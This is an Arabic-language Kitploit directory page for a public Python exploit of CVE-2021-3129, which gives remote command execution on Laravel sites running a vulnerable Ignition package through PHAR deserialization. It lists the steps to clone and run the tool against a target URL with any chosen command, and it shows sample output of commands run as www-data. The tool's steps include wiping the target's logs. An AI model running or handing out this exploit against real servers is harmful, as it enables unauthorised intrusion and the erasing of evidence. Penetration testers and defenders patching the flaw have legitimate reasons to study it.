Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-3129 — استغلال بلغة Python لـ CVE-2021-3129 يقوم بأتمتة إلغاء تسلسل PHAR لتنفيذ أوامر عشوائية على نقاط نهاية Laravel Ignition الضعيفة. | Kitploit
أدوات/GitHubGitHub/0x0d3ad/cve-2021-3129
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHub0x0d3ad/cve-2021-3129

CVE-2021-3129

استغلال بلغة Python لـ CVE-2021-3129 يقوم بأتمتة إلغاء تسلسل PHAR لتنفيذ أوامر عشوائية على نقاط نهاية Laravel Ignition الضعيفة.

عرض المستودع
101منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-3129 ثغرة تنفيذ الأوامر عن بعد في Laravel Ignition

هذا نص برمجي استغلالي بلغة بايثون لثغرة CVE-2021-3129، وهي ثغرة تنفيذ أوامر عن بعد في Laravel عند تثبيت حزمة Ignition. تسمح هذه الثغرة للمهاجم بتنفيذ أوامر نظام اعتباطية عبر إلغاء تسلسل PHAR.

الميزات

  • ينشئ تلقائياً حمولة PHAR باستخدام phpggc
  • يقبل إدخال المستخدم لأي أمر لتنفيذه (مثل id، whoami، إلخ.)
  • يقوم بأتمتة عملية الاستغلال بأكملها، بما في ذلك مسح السجلات، وحقن الحمولة، وتحويل السجلات إلى PHAR، وتشغيل إلغاء التسلسل

المتطلبات الأساسية

  • Python 3.x
  • مكتبة requests
  • PHP مثبت على نظامك
  • phpggc مثبت (لتوليد حمولات PHAR)

التثبيت

  1. استنساخ المستودع:

    root@kitploit:~
    git clone https://github.com/0x0d3ad/CVE-2021-3129.git
    cd CVE-2021-3129
    
  2. تثبيت حزم Python المطلوبة:

    root@kitploit:~
    pip install requests
    
  3. تشغيل النص البرمجي مع الهدف والأمر المطلوب:

    root@kitploit:~
    python3 CVE-2021-3129.py http://example.com --cmd 'id'
    

    مثال على الإخراج:

    root@kitploit:~
    [+] Generating PHAR payload for command: id
    [+] Trying to clear logs
    [+] Logs cleared
    [+] Convert log file to PHAR
    [+] Successfully converted logs to PHAR
    [+] PHAR deserialized
    ---------------------------------------
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    ---------------------------------------
    [+] Trying to clear logs
    [+] Logs cleared
    

الوسائط

  • target (مطلوب): عنوان URL لتطبيق Laravel المعرض للثغرة.
  • --cmd (اختياري): الأمر المراد تنفيذه على الهدف (الافتراضي: whoami).
  • --log_path (اختياري): مسار ملف السجل المستخدم (الافتراضي: ../storage/logs/laravel.log).

الإثبات

POC

POC

تنزيل الأداة